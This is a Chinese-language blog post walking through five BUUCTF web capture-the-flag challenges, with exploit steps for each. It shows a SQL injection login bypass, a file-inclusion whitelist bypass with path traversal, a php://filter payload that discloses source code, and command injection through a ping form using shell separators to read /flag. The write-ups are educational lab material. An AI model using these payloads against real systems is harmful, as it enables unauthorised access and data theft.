当前位置: 首页 > news >正文

buuctf web 前5题

目录

一、[极客大挑战 2019]EasySQL

总结:

二、[极客大挑战 2019]Havefun

总结:

三、[HCTF 2018]WarmUp

总论:

四、[ACTF2020 新生赛]Include

总结:

五、[ACTF2020 新生赛]Exec

总结:


一、[极客大挑战 2019]EasySQL

EasySQL,根据题目盲猜是sql注的题目

检查源码发现传参方式为GET

随意输入用户名和密码,发现有回显

预测后端代码应为:

<?php
//连接mysql
$servername="localhost";
$username="root";
$password="root";
$dbname="mydata";
.
.
.
$username=$_GET['username'];
$password=$_GET['password'];
$sql=select * from users where username='$username' and password='$password';
$ result=query($sql);
.
.
.
?>

根据数据库查询规则,使用万能密码

admin ' or 1=1 #

ps:select * from users where username='admin' or 1=1#' and password="";

admin后的 ' :为了和前面的 ' 形成闭合

or 1=1:形成查询永真条件

#:将后面条件注释掉

总结:

  sql注入万能密码:admin ' or 1=1 #

二、[极客大挑战 2019]Havefun

打开网址查看源码,发现一段注释的内容

<!--
        $cat=$_GET['cat'];
        echo $cat;
        if($cat=='dog'){
            echo 'Syc{cat_cat_cat_cat}';
        }
        -->

GET请求通过URL请求参数,可以在URL后面添加参数,以“?”作为分隔符,参数之间用“&”符号链接。

解释:GET传参cat。输出cat。如果cat=dog。输出一串类似flag的东西。

总结:

GET请求通过URL请求参数,可以在URL后面添加参数,以“?”作为分隔符,参数之间用“&”符号链接。

简单php代码。

三、[HCTF 2018]WarmUp

打开网址,检查以源码。发现隐藏页面source.php

转到source.php可以看到一段php代码

 <?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page){$whitelist = ["source"=>"source.php","hint"=>"hint.php"];if (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}if (in_array($page, $whitelist)) {return true;}$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;}}if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}  
?> 

先来查看一下,hint.php里的内容

ffffllllaaaagggg这里flag被复写了四次,可以猜测flag被放在4到5个根目录下,即写成../../../../ffffllllaaaagggg或../../../../../ffffllllaaaagggg

再对上面php代码进行逐行分析:

<?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page)//创建一个函数{$whitelist = ["source"=>"source.php","hint"=>"hint.php"];            //增加白名单,包含source.php和hint.phpif (! isset($page) || !is_string($page)) {//$page不为空或NULL(!isset($page))或(||)不为字符串(!is_string($page))echo "you can't see it";return false;}if (in_array($page, $whitelist)) {//in_array的意思是判断page里是否包含白名单里的内容,即是否包含(source.php或hint.php)return true;}$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));/*这里mb_substr返回字符串的一部分mb_substr(需返回字符串(类型:sting),从哪个数字代表的位置开始(类型:int),截取长度(类型:int))mb_strpos(要被检查的字符串,要搜索的字符串)最终返回要被检查字符串的位置(类型:int)综合来看就是mb_strpos函数,检索$page中?的位置,并返回?所在的位置数,mb_substr函数将从0开始,到?位置的$page字符串返回到型变量$_page*/if (in_array($_page, $whitelist)) {return true;}/*in_array(被搜索的值,搜索的数组,类型)经过上面的截取代码,$_page是否存在source.php或hint.php,如果存在就返回true*/$_page = urldecode($page);/*进行一次url解码,将%3F解码为?所以这里将?写做%3F也无法实现绕过*/$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}//这一部分解释同上echo "you can't see it";return false;}}if (! empty($_REQUEST['file'])//判断文件不能为空&& is_string($_REQUEST['file'])//并且,传入参数为字符串&& emmm::checkFile($_REQUEST['file'])//并且,调用函数(白名单)要过白名单检测,过了之后,即可看到包含了flag的文件) {include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}  
?>

构造playload(1)=http://ip/?file=souce.php?../../../../ffffllllaaaagggg

        playload(2)=http://ip/?file=souce.php?../../../../../ffffllllaaaagggg

        playload(3)=http://ip/?file=hint.php?../../../../../ffffllllaaaagggg

分别进行尝试

(中间有靶机到期自动销毁的情况,截图的网址有变化)Q^Q

总论:

mb_strpos和mb_substr截取内容,碰到?就截止,所以我们只需要输入/?file=source.php?即可绕过白名单检测

四、[ACTF2020 新生赛]Include

进入网页,打开源码,只有tips有提示

点击tips,跳转到/?file=flag.php,还是什么也没有

根据题目(include)提示,可以猜测flag在/?file=flag.php页面中,但是被注释了,所以我们就要想办法获取网页的源码。

所以这里可以想到要构造php伪协议

PHP伪协议也是php支持的协议和封装协议。

常见的有

  1. file:// 访问本地文件系统
  2. php:// 访问各个输入/输出流
  3. data:// 数据
  4. zip:// 压缩流 不过有些伪协议需要allow_url_fopen和allow_url_include的支持

php://

  • php:// 访问各个输入/输出流I/O streams在CTF中经常使用的是php://filter和php//input
  • php://filter用于读取源码php://input用于执行php代码。

php://filter伪协议
php://filter/参数=转换过滤器
参数:
1.resource=<要过滤的数据流>
2.read=<读链的过滤器>
3.write=<写链的过滤器>
4.<;两个链的过滤器>

转换过滤器:
1.convert.base64-encode & convert.base64-decode<等同于base64_encode()和base64_decode(),base64编码解码>
2.convert。quoted-printable-encode & convert.quoted-printable-decode<quoted-printable 字符串编码解码>

php://input读取POST数据
说明
可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。 enctype=”multipart/form-data” 的时候 php://input 是无效的

参数可以同时使用,两两之间使用 / 隔开

本题构造的伪协议格式:

/?file=php://filter/read=convert.base64-encode/resource=flag.php

得到一串base64编码

将base64编码解码

总结:

php伪协议,获取网页源码,用于获取简单的被注释掉的重要信息

伪协议构造格式中的一种:

/?file=php://filter/read=convert.base64-encode/resource=flag.php

五、[ACTF2020 新生赛]Exec

打开靶机看到ping,先输入网址127.0.0.0进行测试

可以看到执行ping命令有回显

而单独输入查询命令时没有回显,由于ping命令可以与管道符连用,先尝试用管道符连接ls

连接ls发现有回显,尝试用cd逐层发打开文件

 

打开到第三层的时候,出现了flag,我们只要cat一下flag即可 

既然ls命令可以用,我们不妨大胆一点

直接cat /flag

嚯!这也行!直接一步到位,所以我前面在干嘛……

ps:补充一下管道符的用法

| :按位或,直接执行后面的语句

& :按位与,前面后面的都要执行,不管真假

|| :逻辑或,相当于or

&& :逻辑与,相当于and

; :作用与&相同,前后都会执行

总结:

ping命令后可跟管道符,管道符的用法。

相关文章:

buuctf web 前5题

目录 一、[极客大挑战 2019]EasySQL 总结&#xff1a; 二、[极客大挑战 2019]Havefun 总结&#xff1a; 三、[HCTF 2018]WarmUp 总论&#xff1a; 四、[ACTF2020 新生赛]Include 总结&#xff1a; 五、[ACTF2020 新生赛]Exec 总结&#xff1a; 一、[极客大挑战 2019]…...

stable diffusion实践操作-提示词-人物服饰

系列文章目录 stable diffusion实践操作-提示词 文章目录 系列文章目录前言一、提示词汇总1.1 人物服饰11.2 人物服饰2 前言 本文主要收纳总结了提示词-人物服饰。 一、提示词汇总 1.1 人物服饰1 耳饰帽子内裤内衣上身饰品手部[月牙耳环][头顶光环][丁字裤][胸罩][披风][太…...

Tomcat加载静态资源--防止SpringMVC拦截

最简洁方式&#xff1a;使用API 在配置文件下写配置类SpringMvcSupport&#xff0c;并且让SpringMVC扫描到此文件夹ComponentScan({"com.itheima.controller","com.itheima.config"}) SpringMvcSupport配置类如下 Configuration public class SpringMvcS…...

【AI数字人】如何基于ER-NeRF自训练AI数字人

文章目录 环境配置前期准备数据预处理音频预处理训练bug测试度量标准用指定的声音进行推理参考ER-NeRF,能够以更小的模型尺寸和更快的速度训练合成逼真的3D talking portrait。 环境配置 ER-NeRF项目开源于两个月前,相比于两年前的AD-NeRF,使用更新版本的tensorflow和各种…...

多目标应用:基于多目标哈里斯鹰优化算法(MOHHO)的微电网多目标优化调度研究MATLAB

一、微网系统运行优化模型 参考文献&#xff1a; [1]李兴莘,张靖,何宇,等.基于改进粒子群算法的微电网多目标优化调度[J].电力科学与工程, 2021, 37(3):7 二、多目标哈里斯鹰优化算法MOHHO 多目标哈里斯鹰优化算法&#xff08;Multi-Objective Harris Hawks Optimizer&#…...

[运维|中间件] 东方通TongWeb忘记密码后修改密码

参考文献 Tongweb忘记密码处理办法 修改密码 以下步骤将thanos用户密码修改为 thanos123.com 编辑twusers.properties文件 vim /path/to/TongWeb7.0/conf/security/twusers.properties将thanos的内容修改为默认的密码信息&#xff1a; thanos3d6391e41e9c4319$3$6774c6fc9…...

无涯教程-Android Mock Test函数

本节介绍了与 Android 相关的各种模拟测试。您可以在本地计算机上下载这些样本模拟测试,并在方便时离线解决。每个模拟测试均随附一个模拟测试键,可让您验证最终分数并为自己评分。 Mock Test I Mock Test II Mock Test III Mock Test IV Q 1 -什么是Android&#xff1f; A -A…...

保留网络[02/3]:大型语言模型转换器的继任者”

一、说明 在这项工作中&#xff0c;我们提出保留网络&#xff08;RETNET&#xff09;作为基础架构大型语言模型的结构&#xff0c;同时实现训练并行&#xff0c; 推理成本低&#xff0c;性能好。我们从理论上推导出这种联系 复发与关注之间。然后我们提出保留机制 序列建模&…...

微信小程序-生成canvas图片并保存到手机相册

wxml页面 <button class"rightbtn bottomBtnCss" catch:tap"canvasImg"><image src{{imgUrl}}/images/mine/jspj-icon.png class"restNumImg"></image><text class"btnText">生成图片</text></but…...

设计模式8:代理模式-动态代理

上一篇&#xff1a;设计模式8&#xff1a;代理模式-静态代理 目录 如何理解“动态”这两个字&#xff1f;动态代理简单的代码实例一个InvocationHandler代理多个接口有动态代理&#xff0c;为什么还要用Cglib代理&#xff1f; 如何理解“动态”这两个字&#xff1f; “动态”…...

tcp字节传输(java)-自定义包头和数据识别

1、背景 tcp传输的时候会自动拆包&#xff0c;因此服务端接收的数据段可能跟客户端发送过来的数据段长度不一致&#xff0c;比如客户端一次发送10000个字节。但是服务端接收了两次才接收完整&#xff08;例如第一次接收6000字节&#xff0c;第二次接收4000字节&#xff09;。但…...

pyspark 系统找不到指定的路径; \Java\jdk1.8.0_172\bin\java

使用用具PyCharm 2023.2.1 1&#xff1a;pyspark 系统找不到指定的路径&#xff0c; Java not found and JAVA_HOME environment variable is not set. Install Java and set JAVA_HOME to point to the Java installation directory. 解决方法&#xff1a;配置正确环境变量…...

UE4 Physics Constraint Actor 实现钟摆效果

放入场景&#xff0c;然后将一个球体放入场景 选择小球 将小球改为Movable 选择模拟物理&#xff0c;并将小球移除平衡点 就实现了...

UE4/UE5 动画控制

工程下载​ ​​​​​​​​​​​​​https://mbd.pub/o/bread/ZJ2cm5pu 蓝图控制sequence播放/倒播动画&#xff1a; 设置开启鼠标指针&#xff0c;开启鼠标事件 在场景中进行过场动画制作 设置控制事件...

Springboot整合shiro

导入依赖 <!-- 引入springboot的web项目的依赖 --><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId></dependency> ​ <!-- shiro --><depende…...

阻塞/非阻塞、同步/异步(网络IO)

1.阻塞/非阻塞、同步/异步(网络IO) 【思考】典型的一次 IO 的两个阶段是什么&#xff1f; 数据就绪 和 数据读写 数据就绪 &#xff1a;根据系统 IO 操作的就绪状态 阻塞 非阻塞 数据读写 &#xff1a;根据应用程序和内核的交互方式 同步 异步 陈硕&#xff1a;在处理 IO …...

为什么大家会觉得考PMP没用?

一是在于PMP这套知识体系&#xff0c;是一套底层的项目管理逻辑框架&#xff0c;整体是比较抽象的。大家在学习工作之后&#xff0c;会有人告诉你很多职场的一些做事的规则&#xff0c;比如说对于沟通&#xff0c;有人就会告诉如何跟客户沟通跟同事相处等等&#xff0c;这其实就…...

AVR128单片机 USART通信控制发光二极管显示

一、系统方案 二、硬件设计 原理图如下&#xff1a; 三、单片机软件设计 1、首先是系统初始化 void port_init(void) { PORTA 0xFF; DDRA 0x00;//输入 PORTB 0xFF;//低电平 DDRB 0x00;//输入 PORTC 0xFF;//低电平 DDRC 0xFF;//输出 PORTE 0xFF; DDRE 0xfE;//输出 PO…...

为什么5G 要分离 CU 和DU?(4G分离RRU 和BBU)

在 Blog 一文中&#xff0c;5G--BBU RRU 如何演化到 CU DU&#xff1f;_5g rru_qq_38480311的博客-CSDN博客 解释了4G的RRU BBU 以及 5G CU DU AAU&#xff0c;主要是讲了它们分别是什么。但是没有讲清楚 为什么&#xff0c;此篇主要回答why。 4G 为什么分离基站为 RRU 和 BBU…...

Python中的数据输入

获取键盘输入 input语句 使用input()可以从键盘获取输入&#xff0c;使用一个变量来接收 print("你是谁&#xff1f;") name input() print(f"我知道了&#xff0c;你是{name}")# print("你是谁&#xff1f;") name input("你是谁&…...

pam_env.so模块配置解析

在PAM&#xff08;Pluggable Authentication Modules&#xff09;配置中&#xff0c; /etc/pam.d/su 文件相关配置含义如下&#xff1a; 配置解析 auth required pam_env.so1. 字段分解 字段值说明模块类型auth认证类模块&#xff0c;负责验证用户身份&am…...

基于当前项目通过npm包形式暴露公共组件

1.package.sjon文件配置 其中xh-flowable就是暴露出去的npm包名 2.创建tpyes文件夹&#xff0c;并新增内容 3.创建package文件夹...

微信小程序 - 手机震动

一、界面 <button type"primary" bindtap"shortVibrate">短震动</button> <button type"primary" bindtap"longVibrate">长震动</button> 二、js逻辑代码 注&#xff1a;文档 https://developers.weixin.qq…...

【git】把本地更改提交远程新分支feature_g

创建并切换新分支 git checkout -b feature_g 添加并提交更改 git add . git commit -m “实现图片上传功能” 推送到远程 git push -u origin feature_g...

DeepSeek 技术赋能无人农场协同作业:用 AI 重构农田管理 “神经网”

目录 一、引言二、DeepSeek 技术大揭秘2.1 核心架构解析2.2 关键技术剖析 三、智能农业无人农场协同作业现状3.1 发展现状概述3.2 协同作业模式介绍 四、DeepSeek 的 “农场奇妙游”4.1 数据处理与分析4.2 作物生长监测与预测4.3 病虫害防治4.4 农机协同作业调度 五、实际案例大…...

在Mathematica中实现Newton-Raphson迭代的收敛时间算法(一般三次多项式)

考察一般的三次多项式&#xff0c;以r为参数&#xff1a; p[z_, r_] : z^3 (r - 1) z - r; roots[r_] : z /. Solve[p[z, r] 0, z]&#xff1b; 此多项式的根为&#xff1a; 尽管看起来这个多项式是特殊的&#xff0c;其实一般的三次多项式都是可以通过线性变换化为这个形式…...

CSS | transition 和 transform的用处和区别

省流总结&#xff1a; transform用于变换/变形&#xff0c;transition是动画控制器 transform 用来对元素进行变形&#xff0c;常见的操作如下&#xff0c;它是立即生效的样式变形属性。 旋转 rotate(角度deg)、平移 translateX(像素px)、缩放 scale(倍数)、倾斜 skewX(角度…...

TSN交换机正在重构工业网络,PROFINET和EtherCAT会被取代吗?

在工业自动化持续演进的今天&#xff0c;通信网络的角色正变得愈发关键。 2025年6月6日&#xff0c;为期三天的华南国际工业博览会在深圳国际会展中心&#xff08;宝安&#xff09;圆满落幕。作为国内工业通信领域的技术型企业&#xff0c;光路科技&#xff08;Fiberroad&…...

ubuntu系统文件误删(/lib/x86_64-linux-gnu/libc.so.6)修复方案 [成功解决]

报错信息&#xff1a;libc.so.6: cannot open shared object file: No such file or directory&#xff1a; #ls, ln, sudo...命令都不能用 error while loading shared libraries: libc.so.6: cannot open shared object file: No such file or directory重启后报错信息&…...

欢乐熊大话蓝牙知识17:多连接 BLE 怎么设计服务不会乱?分层思维来救场!

多连接 BLE 怎么设计服务不会乱&#xff1f;分层思维来救场&#xff01; 作者按&#xff1a; 你是不是也遇到过 BLE 多连接时&#xff0c;调试现场像网吧“掉线风暴”&#xff1f; 温度传感器连上了&#xff0c;心率带丢了&#xff1b;一边 OTA 更新&#xff0c;一边通知卡壳。…...